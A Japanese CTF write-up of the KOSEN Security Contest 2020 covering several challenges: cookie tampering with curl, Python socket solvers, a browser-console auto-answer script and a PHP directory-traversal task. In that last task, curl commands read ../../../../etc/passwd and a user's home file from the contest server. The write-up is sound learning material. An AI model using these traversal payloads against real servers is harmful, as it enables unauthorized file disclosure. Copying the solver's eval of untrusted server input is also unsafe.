0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

KOSENセキュリティ・コンテスト 2020 WriteUp

Posted at

概要

11月14日にオンライン開催で行われた高専セキュリティ・コンテスト(高専セキュコン、#sckosen)に参加しました。チーム名は「面倒なことをPythonに任せたらPythonが人類を超えた回」で、結果はスコア2560で51チーム中11位でした。この記事では、僕が担当した問題について書ける範囲で解説します。

練習問題 (10 pts)

練習用のフラグ。問題文のフラグをコピー&ペースト。
フラグは忘れました。

足し算しよう(50 pts)

1000から10000までを足した数がフラグ。C言語でときました。

#include <stdio.h>

int main(void) {
	int n = 1000;
	int sum = 0;
	while (n <= 10000) {
		sum += n:
		n++;
	}
	printf("FLAG{%d}", sum);
	
	return 0;
}

フラグは FLAG{49505500} 。

おいしく焼けました (100 pts)

「${N}枚クッキーが焼けました」と表示がされるWebサイト。
アクセスするたびに表示される数字が1ずつ増えました。
cookie上に設定されたvisitedという値が1ずつ増え、表示に関係していそうだったため、curlで大きい値を設定してみると10e^19にしろというヒントを貰いました。

curl -i -b "visited=10000000000000000000" http://52.175.155.247:8088/cookie.php

フラグは忘れました。

熱血計算塾 (50 pts)

足し算や引き算の問題をいっぱい出してくれるサーバ。
運営から配布された auto_calc_sample_v3.py に、与えられた式を計算する処理を追加しました。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import decimal
import re
import time

def netcat(hostname, port):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((hostname, port))
	nop = re.compile("ok",re.IGNORECASE)
	while 1:
		data = s.recv(1024)
		if data == "":
			continue
		if data.decode('utf-8').strip() == "Let's solve a simple math problem.Please hit Enter key":
			s.sendall(bytes("\n", "utf-8"))
		elif nop.search(data.decode('utf-8')):
			print (data.decode('utf-8'))
			pass
		else:
			#data 変数に、サーバから送られてくる問題文が含まれる
			print (data.decode('utf-8'))
			try:
				#ここに計算する処理を記述する
				print(data.decode('utf-8')[:-2])
				answer = eval(data.decode('utf-8')[:-2])
				#answer = 計算結果をanswer変数に格納して、answer の値をサーバに送る
				print (answer)
				s.sendall(bytes(str(answer) + "\n","utf-8"))
			except:
				print ("flag?\n")
				break
	shutdown(s)

def shutdown(s):
	print ("Connection closed.")
	s.shutdown(socket.SHUT_WR)
	s.close()

if __name__ == '__main__':
	netcat("52.175.155.247", 5555)

値段の比較はお手の物 (200 pts)

15秒でリロードされてしまうWebサイトで、商品一覧から条件にあった商品名を見つけて150回解答し続ける問題。条件や商品一覧の表はリロードする度に変わり、ミスすると最初からやり直しになります。
条件は 「${N}番目に{高, 安}い商品」、「最{高, 安}値の商品」というように記述されています。
画面から商品データを読み取り、自動で解答フォームに名前をセットし送信するスクリプトをJavaScriptで書き、開発者ツールのコンソールで手動実行し続けました。(150回)
商品名と価格を入れたオブジェクトを配列にプッシュしていき、価格でソートしてN番目を抽出し、その商品名をフォームに入力しました。
条件文に「高」の文字があるかどうかでソートが降順か昇順かを決めました。「最」の字が含まれていた場合Nは1としました。
150回繰り返すのはチームメイトにも手伝ってもらいました。自動化したかったけど思いつきませんでした・・・。

n = -1
high = false;
prices = []
n = Number(document.getElementById("message").innerText.split("")[0]);
if (document.getElementById("message").innerText.split("").length > 1)
    high = true;
else {
    high = false;
}
if (document.getElementById("message").innerText.split("").length > 1)
    n = 1;
for (let i = 0; i < document.getElementsByName("price").length; i++) {
    let p = Number(document.getElementsByName("price")[i].innerText.split("")[1].split("")[0])
    let item = document.getElementsByName("item")[i].innerHTML.split("<br>")[1];
    prices.push({item: item, p: p});
}
function compare(a,b) {
    let comp = 0;
    if (a.p > b.p) {
        comp = 1;
    } else if (a.p < b.p) {
        comp = -1;
    }
    if (high)
        return -1*comp;
    else
        return comp;
}
prices.sort(compare);
document.getElementById("name").value = prices[n-1].item;
document.getElementsByTagName("button")[0].click();

フラグは FLAG{けんじつなありのさんもわすれないでね}

15game (200 pts)

1から交互に1つ〜3つずつ番号を数えていき、「15」と言ったほうが負け、という「15game」を拡張した、「交互にa個ずつ数えNと言ったほうが負け」というルールで対戦するプログラムを作る問題。
チームメイトに教えてもらった以下のサイトを参考にし、Pythonプログラムを書きました。
https://ameblo.jp/ben-joh/entry-11307463378.html

#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import decimal
import re
import time

def netcat(hostname, port):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((hostname, port))
	badnum = -1
	once = -1
	say_min = -1
	say_max = -1
	while 1:
		data = s.recv(1024)
		if data.decode('utf-8')[0] == "#":
			once = int(data.decode('utf-8').split("\n")[2].split(" ")[2])
			badnum = int(data.decode('utf-8').split("\n")[3].split(" ")[2])
			print(once, badnum)
			say_min = 1
			say_max = (badnum-1)%(once+1)
			answer = "{}:{}".format(say_min, say_max)
			print (answer)
			s.sendall(bytes(str(answer) + "\n","utf-8"))
		if data.decode('utf-8')[0:9] == "My   turn":
			enemy_min = int(data.decode('utf-8').split("\n")[0].split(": ")[1].split(":")[0])
			enemy_max = int(data.decode('utf-8').split("\n")[0].split(": ")[1].split(":")[1])
			print(enemy_min, enemy_max)
			say_min = enemy_max + 1
			say_max = say_min + once - (enemy_max-enemy_min+1)
			answer = "{}:{}".format(say_min, say_max)
			print (answer)
			s.sendall(bytes(str(answer) + "\n","utf-8"))
	shutdown(s)

def shutdown(s):
	print ("Connection closed.")
	s.shutdown(socket.SHUT_WR)
	s.close()

if __name__ == '__main__':
	netcat("52.175.155.247", 10001)

フラグは忘れました。

デバッガ (200 pts)

拡張子exeのWindows用実行ファイルを実行する問題。
僕はGNU/LinuxしかOSを持っていないため、wineをインストールして実行しました。するとフラグが出力されました。Windowsであればただ実行するだけではフラグが出力されない?(未確認)

wine checker.exe

出力は以下

=====================================================================
                              Welcome!!!
     If you resolved this problem, the flag will be output...
=====================================================================
FLAG{hXT57e8j}

フラグは FLAG{hXT57e8j} 。

PHP Beginner Practice 1 (200 pts)

脆弱性を利用しサーバ上のユーザのホームディレクトリにあるフラグファイルを取得する問題。
公開されているWebページreadFile.phpはPHPで書かれて、POSTしたデータを元にファイルを読み込み表示しているようです。ディレクトリトラバーサルの脆弱性が使えそうなので以下を実行しユーザ一覧をみました。

curl -X POST -F "file=../../../../etc/passwd" http://52.175.155.247:8103/readFile.php

そして見つけたユーザのホームディレクトリの user.txt にアクセスし、フラグをGETしました。

curl -i -X POST -F "file=../../../../home/dachshund/user.txt" http://52.175.155.247:8103/readFile.php

フラグは忘れました。

感想

KOSENセキュリティ・コンテストへ初めて参加しました。楽しんで問題を解け、参加してよかったなあと思いました。チームメイトと助け合ってすすめられた点も良い経験となりました。今後もCTFを続けていきたいです。

更新

  • 作成:2020年11月15日
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?